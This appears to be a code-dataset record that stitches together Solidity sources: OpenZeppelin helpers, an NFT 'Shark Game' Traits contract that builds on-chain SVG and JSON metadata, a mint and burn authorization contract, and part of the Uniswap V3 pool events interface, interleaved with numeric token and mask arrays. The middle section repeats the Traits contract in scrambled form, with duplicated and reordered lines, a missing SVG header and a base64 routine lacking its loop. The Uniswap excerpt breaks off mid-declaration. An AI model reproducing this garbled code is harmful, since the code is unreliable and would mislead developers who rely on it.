msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./interfaces/ITraits.sol"; import "./interfaces/ISharks.sol"; contract Traits is Ownable, ITraits { using Strings for uint256; // struct to store each trait's data for metadata and rendering struct Trait { string name; string png; } // mapping from trait type (index) to its name string[2] private _traitTypes = [ "Base", "Accessory" ]; // storage of each traits name and base64 PNG data mapping(uint8 => mapping(uint8 => Trait)) public traitData; ISharks public sharksNft; constructor() {} /** ADMIN */ function setSharks(address _sharksNft) external onlyOwner { sharksNft = ISharks(_sharksNft); } /** * administrative to upload the names and images associated with each trait * @param traitType the trait type to upload the traits for (see traitTypes for a mapping) * @param traits the names and base64 encoded PNGs for each trait */ function uploadTraits(uint8 traitType, uint8[] calldata traitIds, Trait[] calldata traits) external onlyOwner { require(traitIds.length == traits.length, "Mismatched inputs"); for (uint i = 0; i < traits.length; i++) { traitData[traitType][traitIds[i]] = Trait( traits[i].name, traits[i].png ); } } /** RENDER */ /** * generates an <image> element using base64 encoded PNGs * @param trait the trait storing the PNG data * @return the <image> element */ function drawTrait(Trait memory trait) internal pure returns (string memory) { return string(abi.encodePacked( '<image x="0" y="0" width="400" height="400" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="', trait.png, '"/>' )); } /** * generates an entire SVG by composing multiple <image> elements of PNGs * @param tokenId the ID of the token to generate an SVG for * @return a valid SVG of the Wizard / Dragon */ function drawSVG(uint256 tokenId) internal view returns (string memory) { ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); uint8 shift = uint8(s.tokenType) * 2; string memory svgString = string(abi.encodePacked( drawTrait(traitData[0 + shift][s.base]), drawTrait(traitData[1 + shift][s.accessory]) )); return string(abi.encodePacked( '<svg id="sharksNft" width="100%" height="100%" version="1.1" viewBox="0 0 400 400" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">', '<image x="0" y="0" width="400" height="400" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="https://cdn.sharkgame.app/shark/bg/underwater.png"/>', svgString, "</svg>" )); } /** * generates an attribute for the attributes array in the ERC721 metadata standard * @param traitType the trait type to reference as the metadata key * @param value the token's trait associated with the key * @return a JSON dictionary for the single attribute */ function attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) { return string(abi.encodePacked( '{"trait_type":"', traitType, '","value":"', value, '"}' )); } function typeToString(ISharks.SGTokenType tokenType) internal pure returns (string memory) { return tokenType == ISharks.SGTokenType.MINNOW ? "Minnow" : (tokenType == ISharks.SGTokenType.SHARK ? "Shark" : "Orca"); } /** * generates an array composed of all the individual traits and values * @param tokenId the ID of the token to compose the metadata for * @return a JSON array of all of the attributes for given token ID */ function compileAttributes(uint256 tokenId) internal view returns (string memory) { ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); uint8 shift = uint8(s.tokenType) * 2; string memory traits; traits = string(abi.encodePacked( attributeForTypeAndValue(_traitTypes[0], traitData[0 + shift][s.base].name),',', attributeForTypeAndValue(_traitTypes[1], traitData[1 + shift][s.accessory].name),',' )); uint256 gen = tokenId <= 5000 ? 0 : (tokenId <= 10000 ? 1 : (tokenId <= 20000 ? 2 : 3)); return string(abi.encodePacked( '[', traits, '{"trait_type":"Generation","value":"Gen ',gen.toString(), '"},{"trait_type":"Type","value":"', typeToString(s.tokenType), '"}]' )); } /** * generates a base64 encoded metadata response without referencing off-chain content * @param tokenId the ID of the token to generate the metadata for * @return a base64 encoded JSON dictionary of the token's metadata and SVG */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_msgSender() == address(sharksNft), "hmmmm what doing?"); ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); string memory metadata = string(abi.encodePacked( '{"name": "', typeToString(s.tokenType)," #", tokenId.toString(), '", "description": "Shark Game is a gamified NFT protocol with next-level tokenomics, featuring first-class security measures, truly random game mechanics, and a robust user interface.", "image": "data:image/svg+xml;base64,', base64(bytes(drawSVG(tokenId))), '", "attributes":', compileAttributes(tokenId), "}" )); return string(abi.encodePacked( "data:application/json;base64,", base64(bytes(metadata)) )); } /** BASE 64 - Written by Brech Devos */ string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; interface ISharks is IERC721Enumerable { // game data storage enum SGTokenType { MINNOW, SHARK, ORCA } struct SGToken { SGTokenType tokenType; uint8 base; uint8 accessory; } function minted() external returns (uint16); function updateOriginAccess(uint16[] memory tokenIds) external; function mint(address recipient, uint256 seed) external; function burn(uint256 tokenId) external; function getMaxTokens() external view returns (uint16); function getPaidTokens() external view returns (uint16); function tokenURI(uint256 tokenId) external view returns (string memory); function getTokenTraits(uint256 tokenId) external view returns (SGToken memory); function getTokenWriteBlock(uint256 tokenId) external view returns(uint64); function getTokenType(uint256 tokenId) external view returns(SGTokenType); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface ITraits { function tokenURI(uint256 tokenId) external view returns (string memory); }
struct to store each trait's data for metadata and rendering
contract Traits is Ownable, ITraits { using Strings for uint256; } struct Trait { string name; string png; } "Base", "Accessory" ]; ISharks public sharksNft; string[2] private _traitTypes = [ mapping(uint8 => mapping(uint8 => Trait)) public traitData; constructor() {} function setSharks(address _sharksNft) external onlyOwner { sharksNft = ISharks(_sharksNft); } function uploadTraits(uint8 traitType, uint8[] calldata traitIds, Trait[] calldata traits) external onlyOwner { require(traitIds.length == traits.length, "Mismatched inputs"); for (uint i = 0; i < traits.length; i++) { traitData[traitType][traitIds[i]] = Trait( traits[i].name, traits[i].png ); } } function uploadTraits(uint8 traitType, uint8[] calldata traitIds, Trait[] calldata traits) external onlyOwner { require(traitIds.length == traits.length, "Mismatched inputs"); for (uint i = 0; i < traits.length; i++) { traitData[traitType][traitIds[i]] = Trait( traits[i].name, traits[i].png ); } } function drawTrait(Trait memory trait) internal pure returns (string memory) { return string(abi.encodePacked( '<image x="0" y="0" width="400" height="400" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="', trait.png, '"/>' )); } function drawSVG(uint256 tokenId) internal view returns (string memory) { ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); uint8 shift = uint8(s.tokenType) * 2; string memory svgString = string(abi.encodePacked( drawTrait(traitData[0 + shift][s.base]), drawTrait(traitData[1 + shift][s.accessory]) )); return string(abi.encodePacked( svgString, "</svg>" )); } function attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) { return string(abi.encodePacked( '{"trait_type":"', traitType, '","value":"', value, '"}' )); } function attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) { return string(abi.encodePacked( '{"trait_type":"', traitType, '","value":"', value, '"}' )); } function typeToString(ISharks.SGTokenType tokenType) internal pure returns (string memory) { return tokenType == ISharks.SGTokenType.MINNOW ? "Minnow" : (tokenType == ISharks.SGTokenType.SHARK ? "Shark" : "Orca"); } function compileAttributes(uint256 tokenId) internal view returns (string memory) { ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); uint8 shift = uint8(s.tokenType) * 2; string memory traits; traits = string(abi.encodePacked( attributeForTypeAndValue(_traitTypes[0], traitData[0 + shift][s.base].name),',', attributeForTypeAndValue(_traitTypes[1], traitData[1 + shift][s.accessory].name),',' )); uint256 gen = tokenId <= 5000 ? 0 : (tokenId <= 10000 ? 1 : (tokenId <= 20000 ? 2 : 3)); return string(abi.encodePacked( '[', traits, '{"trait_type":"Generation","value":"Gen ',gen.toString(), typeToString(s.tokenType), '"}]' )); } function compileAttributes(uint256 tokenId) internal view returns (string memory) { ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); uint8 shift = uint8(s.tokenType) * 2; string memory traits; traits = string(abi.encodePacked( attributeForTypeAndValue(_traitTypes[0], traitData[0 + shift][s.base].name),',', attributeForTypeAndValue(_traitTypes[1], traitData[1 + shift][s.accessory].name),',' )); uint256 gen = tokenId <= 5000 ? 0 : (tokenId <= 10000 ? 1 : (tokenId <= 20000 ? 2 : 3)); return string(abi.encodePacked( '[', traits, '{"trait_type":"Generation","value":"Gen ',gen.toString(), typeToString(s.tokenType), '"}]' )); } '"},{"trait_type":"Type","value":"', function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_msgSender() == address(sharksNft), "hmmmm what doing?"); ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); string memory metadata = string(abi.encodePacked( '{"name": "', typeToString(s.tokenType)," #", tokenId.toString(), '", "description": "Shark Game is a gamified NFT protocol with next-level tokenomics, featuring first-class security measures, truly random game mechanics, and a robust user interface.", "image": "data:image/svg+xml;base64,', base64(bytes(drawSVG(tokenId))), '", "attributes":', compileAttributes(tokenId), "}" )); return string(abi.encodePacked( "data:application/json;base64,", base64(bytes(metadata)) )); } string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_msgSender() == address(sharksNft), "hmmmm what doing?"); ISharks.SGToken memory s = sharksNft.getTokenTraits(tokenId); string memory metadata = string(abi.encodePacked( '{"name": "', typeToString(s.tokenType)," #", tokenId.toString(), '", "description": "Shark Game is a gamified NFT protocol with next-level tokenomics, featuring first-class security measures, truly random game mechanics, and a robust user interface.", "image": "data:image/svg+xml;base64,', base64(bytes(drawSVG(tokenId))), '", "attributes":', compileAttributes(tokenId), "}" )); return string(abi.encodePacked( "data:application/json;base64,", base64(bytes(metadata)) )); } string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; string memory table = TABLE; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } } return result; } function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; string memory table = TABLE; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } } return result; } for {} lt(dataPtr, endPtr) {} function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; string memory table = TABLE; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } } return result; } switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } }
6,125,022
[ 1, 1697, 358, 1707, 1517, 13517, 1807, 501, 364, 1982, 471, 9782, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2197, 1282, 353, 14223, 6914, 16, 467, 30370, 288, 203, 225, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 97, 203, 203, 225, 1958, 2197, 305, 288, 203, 565, 533, 508, 31, 203, 565, 533, 14476, 31, 203, 225, 289, 203, 203, 565, 315, 2171, 3113, 203, 565, 315, 1862, 630, 6, 203, 225, 308, 31, 203, 203, 225, 467, 1555, 27943, 1071, 699, 27943, 50, 1222, 31, 203, 203, 203, 225, 533, 63, 22, 65, 3238, 389, 22513, 2016, 273, 306, 203, 225, 2874, 12, 11890, 28, 516, 2874, 12, 11890, 28, 516, 2197, 305, 3719, 1071, 13517, 751, 31, 203, 225, 3885, 1435, 2618, 203, 203, 225, 445, 444, 1555, 27943, 12, 2867, 389, 674, 27943, 50, 1222, 13, 3903, 1338, 5541, 288, 203, 565, 699, 27943, 50, 1222, 273, 467, 1555, 27943, 24899, 674, 27943, 50, 1222, 1769, 203, 225, 289, 203, 203, 225, 445, 3617, 30370, 12, 11890, 28, 13517, 559, 16, 2254, 28, 8526, 745, 892, 13517, 2673, 16, 2197, 305, 8526, 745, 892, 18370, 13, 3903, 1338, 5541, 288, 203, 565, 2583, 12, 22513, 2673, 18, 2469, 422, 18370, 18, 2469, 16, 315, 11729, 11073, 4540, 8863, 203, 565, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 18370, 18, 2469, 31, 277, 27245, 288, 203, 1377, 13517, 751, 63, 22513, 559, 6362, 22513, 2673, 63, 77, 13563, 273, 2197, 305, 12, 203, 3639, 18370, 63, 77, 8009, 529, 16, 203, 3639, 18370, 63, 77, 8009, 6446, 203, 1377, 11272, 203, 565, 289, 203, 225, 289, 203, 2 ]
pragma solidity ^0.5.0; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title ProxyTokenAuthorizableV0 * @dev ProxyTokenAuthorizableV0 offers modifiers to verify authorization of a user * and functions to authorize and deauthorize users */ contract ProxyTokenAuthorizableV0 is Ownable { mapping (address => bool) public mintRequestAuthorization; mapping (address => bool) public mintFulfillAuthorization; mapping (address => bool) public burnRequestAuthorization; mapping (address => bool) public burnFulfillAuthorization; /** * @dev Runs a function only after checking if a user is not the owner * @param user Address for verifying authorization */ modifier exceptOwner(address user) { require(user != owner(), "User cannot be the owner"); _; } /** * @dev Runs a function only after checking if a user is authorized to request mints * @param user Address for verifying authorization */ modifier onlyAuthorizedMintRequester(address user) { require(mintRequestAuthorization[user], "Only authorized mint requester"); _; } /** * @dev Runs a function only after checking if a user is authorized to fulfill mints * @param user Address for verifying authorization */ modifier onlyAuthorizedMintFulfiller(address user) { require(mintFulfillAuthorization[user], "Only authorized mint fulfiller"); _; } /** * @dev Runs a function only after checking if a user is authorized to request burns * @param user Address for verifying authorization */ modifier onlyAuthorizedBurnRequester(address user) { require(burnRequestAuthorization[user], "Only authorized burn requester"); _; } /** * @dev Runs a function only after checking if a user is authorized to fulfill burns * @param user Address for verifying authorization */ modifier onlyAuthorizedBurnFulfiller(address user) { require(burnFulfillAuthorization[user], "Only authorized burn fulfiller"); _; } /** * @dev Constructor assigns authorization to the provided owner * @param owner Address of the owner of this contract */ constructor (address owner) public { if (msg.sender == owner) { return; } transferOwnership(owner); } /** * @dev Authorize a user under the onlyAuthorizedMintRequester modifier * @param user Address to authorize */ function authorizeMintRequester(address user) public onlyOwner exceptOwner(user) { require(!mintRequestAuthorization[user], "User has mint request authorization"); require(!mintFulfillAuthorization[user], "User has mint fulfill authorization"); mintRequestAuthorization[user] = true; } /** * @dev Deauthorize a user under the onlyAuthorizedMintRequester modifier * @param user Address to deauthorize */ function deauthorizeMintRequester(address user) public onlyOwner { require(mintRequestAuthorization[user], "User does not have mint request authorization"); mintRequestAuthorization[user] = false; } /** * @dev Authorize a user under the onlyAuthorizedMintFulfiller modifier * @param user Address to authorize */ function authorizeMintFulfiller(address user) public onlyOwner exceptOwner(user) { require(!mintRequestAuthorization[user], "User has mint request authorization"); require(!mintFulfillAuthorization[user], "User has mint fulfill authorization"); mintFulfillAuthorization[user] = true; } /** * @dev Deauthorize a user under the onlyAuthorizedMintFulfiller modifier * @param user Address to deauthorize */ function deauthorizeMintFulfiller(address user) public onlyOwner { require(mintFulfillAuthorization[user], "User does not have mint fulfill authorization"); mintFulfillAuthorization[user] = false; } /** * @dev Authorize a user under the onlyAuthorizedBurnRequester modifier * @param user Address to authorize */ function authorizeBurnRequester(address user) public onlyOwner exceptOwner(user) { require(!burnRequestAuthorization[user], "User has burn request authorization"); require(!burnFulfillAuthorization[user], "User has burn fulfill authorization"); burnRequestAuthorization[user] = true; } /** * @dev Deauthorize a user under the onlyAuthorizedBurnRequester modifier * @param user Address to deauthorize */ function deauthorizeBurnRequester(address user) public onlyOwner { require(burnRequestAuthorization[user], "User does not have burn request authorization"); burnRequestAuthorization[user] = false; } /** * @dev Authorize a user under the onlyAuthorizedBurnFulfiller modifier * @param user Address to authorize */ function authorizeBurnFulfiller(address user) public onlyOwner exceptOwner(user) { require(!burnRequestAuthorization[user], "User has burn request authorization"); require(!burnFulfillAuthorization[user], "User has burn fulfill authorization"); burnFulfillAuthorization[user] = true; } /** * @dev Deauthorize a user under the onlyAuthorizedBurnFulfiller modifier * @param user Address to deauthorize */ function deauthorizeBurnFulfiller(address user) public onlyOwner { require(burnFulfillAuthorization[user], "Only authorized burn fulfiller"); burnFulfillAuthorization[user] = false; } }
* @dev Runs a function only after checking if a user is authorized to fulfill burns @param user Address for verifying authorization/
modifier onlyAuthorizedBurnFulfiller(address user) { require(burnFulfillAuthorization[user], "Only authorized burn fulfiller"); _; }
12,882,562
[ 1, 9361, 279, 445, 1338, 1839, 6728, 309, 279, 729, 353, 10799, 358, 22290, 18305, 87, 225, 729, 5267, 364, 3929, 310, 6093, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 9606, 1338, 15341, 38, 321, 23747, 5935, 264, 12, 2867, 729, 13, 288, 203, 565, 2583, 12, 70, 321, 23747, 5935, 6063, 63, 1355, 6487, 315, 3386, 10799, 18305, 22290, 264, 8863, 203, 565, 389, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 AND Unlicense AND MIT AND GPL-2.0-or-later ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed 